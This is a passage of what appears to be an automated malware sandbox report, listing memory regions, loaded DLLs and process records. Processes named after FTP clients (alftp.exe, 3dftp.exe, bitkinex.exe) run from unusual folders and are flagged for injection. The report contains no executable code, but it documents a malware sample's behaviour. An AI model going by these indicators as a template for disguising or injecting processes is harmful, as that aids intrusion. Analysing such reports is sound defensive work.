"" Region: id = 5059 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5060 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5061 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5062 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 5063 start_va = 0x4a0000 end_va = 0x55dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5064 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 5065 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 5066 start_va = 0xb00000 end_va = 0xb03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 5067 start_va = 0xb10000 end_va = 0xb13fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 5068 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 5069 start_va = 0xbb0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 5070 start_va = 0xcb0000 end_va = 0xd6bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 5071 start_va = 0xe30000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 5072 start_va = 0x1180000 end_va = 0x1196fff monitored = 0 entry_point = 0x11814a1 region_type = mapped_file name = "bitkinex.exe" filename = "\\Program Files\\MSBuild\\bitkinex.exe" (normalized: "c:\\program files\\msbuild\\bitkinex.exe") Region: id = 5073 start_va = 0x11a0000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011a0000" filename = "" Region: id = 5074 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5075 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5076 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5077 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5078 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5079 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5080 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5081 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5082 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5083 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5084 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5085 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5086 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5087 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5088 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5089 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5090 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5091 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5092 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5093 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5094 start_va = 0x7eff0000 end_va = 0x7f0effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eff0000" filename = "" Region: id = 5095 start_va = 0x7f0f0000 end_va = 0x7f112fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f0f0000" filename = "" Region: id = 5096 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5097 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5098 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5099 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5148 start_va = 0xb20000 end_va = 0xb23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5149 start_va = 0xb30000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 5150 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5151 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5152 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5153 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 5154 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5155 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 5156 start_va = 0xd70000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 5157 start_va = 0xe40000 end_va = 0x1176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 241 os_tid = 0xe60 Thread: id = 242 os_tid = 0xe58 Thread: id = 381 os_tid = 0x300 Process: id = "50" image_name = "alftp.exe" filename = "c:\\program files\\uninstall information\\alftp.exe" page_root = "0x73f5c000" os_pid = "0xe3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Uninstall Information\\alftp.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5178 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5179 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5180 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5181 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5182 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5183 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5184 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5185 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5186 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5187 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5188 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5189 start_va = 0x420000 end_va = 0x423fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 5190 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 5191 start_va = 0x4c0000 end_va = 0x57dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5192 start_va = 0x610000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 5193 start_va = 0x810000 end_va = 0x997fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 5194 start_va = 0x9c0000 end_va = 0x9d6fff monitored = 0 entry_point = 0x9c14a1 region_type = mapped_file name = "alftp.exe" filename = "\\Program Files\\Uninstall Information\\alftp.exe" (normalized: "c:\\program files\\uninstall information\\alftp.exe") Region: id = 5195 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 5196 start_va = 0xb70000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 5197 start_va = 0x1f70000 end_va = 0x202bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f70000" filename = "" Region: id = 5198 start_va = 0x2080000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 5199 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 5200 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5201 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5202 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5203 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5204 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5205 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5206 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5207 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5208 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5209 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5210 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5211 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5212 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5213 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5214 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5215 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5216 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5217 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5218 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5219 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5220 start_va = 0x7eaf0000 end_va = 0x7ebeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eaf0000" filename = "" Region: id = 5221 start_va = 0x7ebf0000 end_va = 0x7ec12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ebf0000" filename = "" Region: id = 5222 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5223 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5224 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5225 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5226 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5227 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5228 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5229 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5230 start_va = 0x710000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5231 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5232 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5233 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5234 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5235 start_va = 0x2150000 end_va = 0x2486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 243 os_tid = 0xe48 Thread: id = 244 os_tid = 0xe40 Thread: id = 384 os_tid = 0xd3c Process: id = "51" image_name = "3dftp.exe" filename = "c:\\program files (x86)\\mozilla firefox\\3dftp.exe" page_root = "0x73b39000" os_pid = "0xe24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\3dftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5294 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5295 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5296 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5297 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5298 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5299 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5300 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5301 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5302 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5303 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5304 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5305 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5306 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 5307 start_va = 0x890000 end_va = 0x893fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 5308 start_va = 0x8a0000 end_va = 0x8a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 5309 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 5310 start_va = 0x940000 end_va = 0x956fff monitored = 0 entry_point = 0x9414a1 region_type = mapped_file name = "3dftp.exe" filename = "\\Program Files (x86)\\Mozilla Firefox\\3dftp.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\3dftp.exe") Region: id = 5311 start_va = 0x960000 end_va = 0xa1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 5312 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5313 start_va = 0xaa0000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 5314 start_va = 0xba0000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 5315 start_va = 0xd30000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 5316 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5317 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5318 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5319 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5320 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5321 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5322 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5323 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: 